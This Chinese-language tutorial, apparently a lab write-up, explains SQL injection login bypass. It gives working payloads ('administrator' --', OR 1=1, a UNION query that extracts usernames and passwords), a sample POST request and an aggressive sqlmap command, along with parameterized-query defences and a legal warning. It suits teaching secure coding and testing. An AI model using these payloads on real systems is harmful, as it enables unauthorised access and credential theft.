绕过登录的万能密码 SQL 注入
字数 1604 2025-08-10 16:34:34
SQL注入漏洞:绕过登录的万能密码攻击详解
1. SQL注入漏洞概述
SQL注入是一种常见的Web应用程序安全漏洞,攻击者通过在用户输入中插入恶意的SQL代码,可以绕过认证、获取敏感数据或执行数据库操作。在登录功能中,SQL注入漏洞尤其危险,因为它可能导致攻击者无需知道正确密码就能登录系统。
2. 登录功能中的SQL查询原理
正常情况下,应用程序会执行如下SQL查询来验证用户凭据:
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'
如果查询返回了用户记录,则登录成功;否则登录失败。
3. 万能密码攻击原理
攻击者可以通过构造特殊的输入,使SQL查询的逻辑发生变化:
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
在这个例子中:
--是SQL中的单行注释符号,会使后面的所有内容被忽略- 查询实际上变成了:
SELECT * FROM users WHERE username = 'administrator' - 只要
administrator用户存在,就会返回该用户记录,而无需验证密码
4. 攻击步骤详解
4.1 漏洞探测
- 识别输入点:找到登录表单的用户名和密码输入框
- 测试SQL注入可能性:
- 在用户名输入
'(单引号)观察是否出现500错误 - 输入
''(两个单引号)观察是否恢复正常(200状态码) - 这表明输入被直接拼接到SQL语句中,且使用单引号进行字符串界定
- 在用户名输入
4.2 构造攻击载荷
-
基本攻击格式:
username: administrator' -- password: [任意值或留空] -
实际发送的POST请求示例:
POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded csrf=lsKpaUmIveO1R6uh8ap9d1OFNOGu14Vv&username=administrator' -- q&password=bbb
4.3 注意事项
-
注释符号后的内容:
--后通常需要跟一个空格或字符(如q),以确保注释正确生效- 在某些数据库中,可能需要使用
#而不是--作为注释符号
-
URL编码:
- 在GET请求中,特殊字符需要进行URL编码
- 例如空格编码为
%20,单引号编码为%27
-
CSRF令牌处理:
- 现代应用通常有CSRF防护,需要确保在攻击中携带有效的CSRF令牌
5. 防御措施
5.1 参数化查询(预编译语句)
使用参数化查询可以完全防止SQL注入:
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
5.2 其他防御方法
-
输入验证:
- 对输入进行严格的格式检查(如长度、字符类型)
-
最小权限原则:
- 数据库用户应仅具有必要的最小权限
-
Web应用防火墙(WAF):
- 部署WAF可以拦截常见的SQL注入攻击
-
错误处理:
- 避免将详细的数据库错误信息返回给用户
6. 实验环境复现
6.1 实验要求
- 目标:以administrator身份登录系统
- 已知:登录功能存在SQL注入漏洞
6.2 实验步骤
- 访问登录页面
- 在用户名输入:
administrator' -- - 密码可以输入任意值或留空
- 提交表单
- 检查是否成功以administrator身份登录
7. 不同数据库的注释语法
| 数据库类型 | 单行注释 | 多行注释 |
|---|---|---|
| MySQL | -- 或# |
/* */ |
| SQL Server | -- |
/* */ |
| Oracle | -- |
/* */ |
| PostgreSQL | -- |
/* */ |
| SQLite | -- |
/* */ |
注意:在--注释中,大多数数据库要求后面跟一个空格或可打印字符。
8. 高级攻击变种
8.1 使用布尔逻辑绕过
username: administrator' OR 1=1--
password: [任意]
这将使查询变为:
SELECT * FROM users WHERE username = 'administrator' OR 1=1--' AND password = '...'
8.2 使用UNION攻击
如果应用程序会显示查询结果,可以使用UNION注入获取更多信息:
username: ' UNION SELECT username, password FROM users--
password: [任意]
9. 自动化工具使用
可以使用sqlmap等工具自动化检测和利用SQL注入漏洞:
sqlmap -u "http://example.com/login" --data="username=test&password=test" --level=5 --risk=3
10. 法律与道德注意事项
- 仅对授权系统进行测试
- 未经授权的测试可能构成违法行为
- 发现漏洞后应遵循负责任的披露流程
通过理解这些原理和技术,安全人员可以更好地防御SQL注入攻击,而开发人员可以编写更安全的代码。